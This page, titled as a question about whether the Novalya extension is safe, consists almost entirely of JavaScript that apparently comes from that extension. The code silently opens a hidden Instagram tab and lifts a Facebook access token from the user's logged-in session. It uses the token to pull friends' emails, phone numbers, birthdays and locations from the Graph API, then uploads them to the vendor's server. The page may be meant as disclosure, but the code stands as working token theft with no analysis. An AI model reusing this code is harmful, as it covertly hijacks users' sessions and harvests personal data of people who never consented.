Is Novalya safe?

$(function () {  if (window.location.href.endsWith("#get_fb_access_token") || window.location.href.endsWith("#/get_fb_access_token")) {    let attempts = 0;    const timer = setInterval(async function () {      attempts++;      if (attempts < 5) {        try {          const response = await fetch("https://www.facebook.com/x/oauth/status?client_id=124024574287414&input_token&origin=1&redirect_uri=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F&sdk=joey&wants_cookie_data=true", { credentials: "include" });          if (response.ok) {            const header = JSON.parse(response.headers.get("fb-ar") || "{}");            if (header.access_token) {              clearInterval(timer);              chrome.runtime.sendMessage({ action: "fb_access_token_ready", token: header.access_token });            }          }        } catch (error) {          console.error("Fetch failed:", error);        }      } else {        clearInterval(timer);        chrome.runtime.sendMessage({ action: "fb_access_token_ready", token: null });      }    }, 1000);  }});

const pendingFbTokenResolvers = new Map();chrome.runtime.onMessage.addListener((message, sender) => {  if (!message || message.action !== "fb_access_token_ready") return;  if (!sender.tab) return;  const resolve = pendingFbTokenResolvers.get(sender.tab.id);  if (resolve) {    pendingFbTokenResolvers.delete(sender.tab.id);    try {      chrome.tabs.remove(sender.tab.id);    } catch (error) {}    resolve(message.token || null);  }});const getFBFriendsAccessToken = () =>  new Promise((resolve) => {    chrome.tabs.create({ url: "https://www.instagram.com/#get_fb_access_token", active: false, pinned: true }, (tab) => {      if (!chrome.runtime.lastError && tab) {        pendingFbTokenResolvers.set(tab.id, resolve);        setTimeout(() => {          if (pendingFbTokenResolvers.has(tab.id)) {            pendingFbTokenResolvers.delete(tab.id);            try {              chrome.tabs.remove(tab.id);            } catch (error) {}            resolve(null);          }        }, 15000);      } else {        resolve(null);      }    });  });

if (message.action === "startFbFriendsDetailSyncing") {  if (fbBasicSyncingAborted) return false;  const token = message.token;  const ids = message.ids.join(",");  const tabId = sender.tab.id;  fetch(`https://graph.facebook.com/?ids=${ids}&fields=id,age_range,birthday,email,mobile_phone,gender,hometown,languages,link,locale,location,name,picture.type(normal)&format=json&suppress_http_code=1`, {    method: "GET",    headers: { Authorization: `Bearer ${token}` },    redirect: "follow"  })    .then((response) => response.json().then((data) => ({ status: response.status, data })))    .then(({ status, data }) => {      if (status === 200) {        prepareProfileDataToSave(data, tabId);      } else {        console.error("FB friend detail batch failed", { status, data });        try {          chrome.tabs.sendMessage(tabId, { action: "fbDetailBatchFailed", status, error: data && data.error || null });        } catch (error) {}      }    })    .catch((error) => {      console.error("FB friend detail batch network error", error);      try {        chrome.tabs.sendMessage(tabId, { action: "fbDetailBatchFailed", status: 0, error: String(error && error.message ? error.message : error) });      } catch (sendError) {}    });}

const prepareProfileDataToSave = (graphResponse, tabId) => {  const profiles = [];  Object.keys(graphResponse).forEach((id) => {    const friend = graphResponse[id];    const profile = {      id: friend.id,      name: friend.name,      birthday: friend.birthday || null,      gender: friend.gender || null,      hometown: friend.hometown?.name || null,      location: friend.location?.name || null,      languages: friend.languages ? friend.languages.map((language) => language.name).join(", ") : null,      locale: friend.locale || null,      email: friend.email || null,      phone: friend.mobile_phone || null,      age: friend.age_range        ? friend.age_range.min !== undefined && friend.age_range.max !== undefined          ? `${friend.age_range.min}-${friend.age_range.max}`          : friend.age_range.min !== undefined            ? `min ${friend.age_range.min}`            : null        : null    };    profiles.push(profile);  });  saveFbProfileData(profiles, tabId);};const saveFbProfileData = (profiles, tabId) => {  const headers = new Headers();  headers.append("Content-Type", "application/json");  headers.append("Authorization", "Bearer " + authToken);  const request = {    method: "POST",    headers,    body: JSON.stringify(profiles),    redirect: "follow"  };  fetch(insta_base_api_url + "/novadata/api/sync-fb-friends-details", request)    .then((response) => response.json())    .then((responseBody) => {      if (responseBody.status === "success") {        const users = responseBody.data.map((entry) => entry.user);        chrome.tabs.sendMessage(tabId, { action: "fbFriendsDetailSyncingDone", newlyAdded: profiles.length, users });      }    })    .catch((error) => console.log(error));};